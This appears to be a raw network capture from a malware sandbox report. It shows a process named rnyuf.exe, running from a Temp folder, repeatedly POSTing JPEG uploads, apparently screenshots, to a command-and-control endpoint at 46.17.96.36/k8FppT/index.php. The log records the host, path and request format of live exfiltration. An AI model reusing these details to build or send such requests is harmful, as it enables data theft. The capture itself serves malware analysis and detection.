Aug 29, 2021 22:27:34.625242949 CEST	7150	OUT	Data Raw: ff 00 0a eb c5 7e 5e 7c cf 9f 6e 3a e7 ca 38 a8 aa b9 92 5e 66 94 e5 ca db 3b 78 8d ff 00 8e ae 25 95 6e e6 b1 d0 23 72 91 88 4e d9 2e 48 ea 49 ec 3f cf 5a 98 78 0b c3 6c cc 96 93 4d 0d d2 7f cb 48 6e 89 91 4f af 7f e5 4e b1 f3 bf e1 56 47 fd 97 Data Ascii: ~^\|n:8^f;x%n#rN.HI?ZxlMHnONVG?'gwc9ktBg>c?s]49*rQv:9]H9+Gh+_SAJ\8%_oGZ(1ATY%oW/,98]?R,'{5
Aug 29, 2021 22:27:34.731270075 CEST	7184	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.4	49793	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:34.969371080 CEST	7185	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----72ab105a669f7cc2ffe84eb8771944d9 Host: 46.17.96.36 Content-Length: 107971 Cache-Control: no-cache
Aug 29, 2021 22:27:34.969502926 CEST	7185	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 32 61 62 31 30 35 61 36 36 39 66 37 63 63 32 66 66 65 38 34 65 62 38 37 37 31 39 34 34 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------72ab105a669f7cc2ffe84eb8771944d9Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:34.969680071 CEST	7195	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:34.969887972 CEST	7198	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:35.007803917 CEST	7201	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:35.008150101 CEST	7206	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:35.008423090 CEST	7218	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:35.008488894 CEST	7223	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:35.045835018 CEST	7229	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:35.045876026 CEST	7231	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:35.045891047 CEST	7239	OUT	Data Raw: e1 0a 50 29 45 2d 32 4b 3a 7b 2c 57 d1 bb b0 55 19 c9 3f 43 5d 64 37 b7 97 1a 7b da c1 73 3c b6 48 c1 de 24 90 98 d5 8f 42 40 e0 1e 0f 3e d5 c4 9a ed be 1e fc 41 ff 00 84 13 fb 47 fe 25 7f 6e fb 6f 95 ff 00 2f 1e 56 cd 9b ff 00 d9 6c e7 7f b7 4a Data Ascii: P)E-2K:{,WU?C]d7{s<H$B@>AG%no/VlJ)j:QI/ntMb^.$N\E:x\|nTc#RIUZcN1s^jay'P{l3xD!\|8;RIU
Aug 29, 2021 22:27:35.155793905 CEST	7293	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.4	49794	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:35.712956905 CEST	7294	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----72ab105a669f7cc2ffe84eb8771944d9 Host: 46.17.96.36 Content-Length: 107971 Cache-Control: no-cache
Aug 29, 2021 22:27:35.713179111 CEST	7294	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 32 61 62 31 30 35 61 36 36 39 66 37 63 63 32 66 66 65 38 34 65 62 38 37 37 31 39 34 34 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------72ab105a669f7cc2ffe84eb8771944d9Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:35.713373899 CEST	7304	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:35.713519096 CEST	7307	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:35.748197079 CEST	7315	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:35.748369932 CEST	7327	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:35.748461008 CEST	7332	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:35.783186913 CEST	7335	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:35.783256054 CEST	7358	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:35.783294916 CEST	7371	OUT	Data Raw: ff 00 0a eb c5 7e 5e 7c cf 9f 6e 3a e7 ca 38 a8 aa b9 92 5e 66 94 e5 ca db 3b 78 8d ff 00 8e ae 25 95 6e e6 b1 d0 23 72 91 88 4e d9 2e 48 ea 49 ec 3f cf 5a 98 78 0b c3 6c cc 96 93 4d 0d d2 7f cb 48 6e 89 91 4f af 7f e5 4e b1 f3 bf e1 56 47 fd 97 Data Ascii: ~^\|n:8^f;x%n#rN.HI?ZxlMHnONVG?'gwc9ktBg>c?s]49*rQv:9]H9+Gh+_SAJ\8%_oGZ(1ATY%oW/,98]?R,'{5
Aug 29, 2021 22:27:35.783318996 CEST	7374	OUT	Data Raw: a0 ec f9 5e bf f6 fc cc e5 f1 9f 86 ed e0 85 56 ec c7 19 dc ab 18 b5 94 18 c2 05 2d b9 76 e5 00 0c a7 2c 00 c1 15 7e cf c4 3a 66 a1 a9 4d 61 69 3b cd 3c 3f 7c ac 0f e5 8e 01 c7 99 b7 61 38 60 78 3d eb 97 b8 f0 6d f5 b5 cd ad ce 99 73 14 f7 06 19 Data Ascii: ^V-v,~:fMai;<?\|a8`x=msBYW(~^?7%5uXTL<h'<9rr_?i<~cS+;v_-(Z{zh5vyVB'%\QL4)EBT!RdP)
Aug 29, 2021 22:27:35.891603947 CEST	7401	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.4	49795	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:36.140845060 CEST	7402	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----72ab105a669f7cc2ffe84eb8771944d9 Host: 46.17.96.36 Content-Length: 107971 Cache-Control: no-cache
Aug 29, 2021 22:27:36.140934944 CEST	7402	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 32 61 62 31 30 35 61 36 36 39 66 37 63 63 32 66 66 65 38 34 65 62 38 37 37 31 39 34 34 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------72ab105a669f7cc2ffe84eb8771944d9Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:36.141122103 CEST	7412	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:36.141222954 CEST	7415	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:36.175359964 CEST	7418	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:36.175395012 CEST	7426	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:36.175479889 CEST	7440	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:36.208112955 CEST	7454	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:36.208163977 CEST	7462	OUT	Data Raw: 56 1d 46 29 a0 8f 5a 0b 0f 5a 61 61 c6 9b 46 45 19 a5 74 00 69 28 26 90 9a 40 38 53 c5 30 1a 76 6a 93 13 40 7a d1 de 90 9a 33 9a 00 53 47 6a 05 14 08 51 4b 8a 07 34 13 8a a0 0a 5f 7a 40 68 cd 02 b0 f1 4b 4d 07 9a 75 32 42 90 d2 d0 69 80 83 a5 2e Data Ascii: VF)ZZaaFEti(&@8S0vj@z3SGjQK4_z@hKMu2Bi.(P1NP)uJdZ`(65DfNM>0R(Jh;u4pxBcRzEM"e4`GqC;S39,>L2,:4
Aug 29, 2021 22:27:36.208194017 CEST	7475	OUT	Data Raw: 4b 96 37 fe b7 7f e4 64 d4 af 14 b1 47 14 92 45 22 47 32 96 8d 99 48 0e 01 20 90 7b 8c 82 38 ee 2a 2a e9 f5 1d 2f 56 b9 f0 9f 86 2f ed 34 fb a9 6d 6d ed 26 f3 2e 12 06 68 a3 22 e6 43 f3 36 36 8e dd 4d 6d 39 f2 b5 e6 ed f9 99 46 1c c9 99 bf d8 1a Data Ascii: K7dGE"G2H {8**/V/4mm&.h"C66Mm9F3>e-le\|(1q+2yK22! `F@'W}a}ZLCQnt$,e#,0OA-Qn-G?l.Kn,>U cb_2_c
Aug 29, 2021 22:27:36.208429098 CEST	7485	OUT	Data Raw: 4a ed e4 67 22 a1 26 6a 7c be b4 86 48 c7 53 58 cd 75 21 ef 51 99 5c f7 a7 c8 68 b0 ef a9 b6 6e a2 5e c2 a3 6d 45 57 a6 2b 1b 24 f7 a3 93 47 22 34 54 12 34 db 54 63 d2 a0 7d 42 43 de a9 d1 4e c9 16 a9 c5 13 35 dc 87 f8 aa 33 2b 9e a4 d3 28 aa b2 Data Ascii: Jg"&j\|HSXu!Q\hn^mEW+$G"4T4Tc}BCN53+()E!I>QaNHcMhQIZb%/,~Vfjpv/z+(Q@)-w-%\(RCEP!hPGj(I@Gz-/j
Aug 29, 2021 22:27:36.311410904 CEST	7510	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.4	49796	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:36.606376886 CEST	7511	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----72ab105a669f7cc2ffe84eb8771944d9 Host: 46.17.96.36 Content-Length: 107971 Cache-Control: no-cache
Aug 29, 2021 22:27:36.606472015 CEST	7511	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 32 61 62 31 30 35 61 36 36 39 66 37 63 63 32 66 66 65 38 34 65 62 38 37 37 31 39 34 34 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------72ab105a669f7cc2ffe84eb8771944d9Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:36.606647015 CEST	7521	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:36.606736898 CEST	7524	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:36.639185905 CEST	7527	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:36.639317989 CEST	7530	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:36.639728069 CEST	7549	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:36.672199965 CEST	7560	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:36.672267914 CEST	7565	OUT	Data Raw: 1c a2 16 0a 36 95 e0 48 07 5a bf 79 7f a3 c5 e3 ab fd 76 2d 6e d2 e2 d6 f0 de 6d 48 a1 9c 48 9e 64 12 2a ee 0d 18 1c b3 01 c1 3d 7d 39 a7 ed ea 59 bb 7f 37 e1 b0 4a 85 3b d9 3e a6 24 1a 3c af 15 ec b7 57 16 f6 29 63 70 96 d7 26 e3 7f ee dd b7 e3 Data Ascii: 6HZyv-nmHHd=}9Y7J;>$<W)cp&V$,Wn\|/,76yqsd$v5U]r;eex+\kl)BD]:'h<7 I\KYhqOU2}.KqcMp4M*R6v6
Aug 29, 2021 22:27:36.672591925 CEST	7597	OUT	Data Raw: 15 98 de 31 f0 af f0 db de d4 2d e3 2f 0d 76 86 f6 ba 15 54 fa 33 95 e1 2a 2e c6 e0 60 7b d1 91 5c f1 f1 9f 87 fb 45 79 4d 3e 33 d0 87 48 ee ff 00 4a 7c eb b0 be af 50 e9 33 4b 9a e6 7f e1 36 d1 07 fc b2 bb a5 1e 37 d1 47 fc b2 bb a3 99 0d 50 a9 Data Ascii: 1-/vT3*.`{\EyM>3HJ\|P3K67GP8\'Z0W_/'z?hnJW4TuDxIwC)SO5?64QhE<W>#ic]n1K'Ks}i3W3LsQ;LuVhW
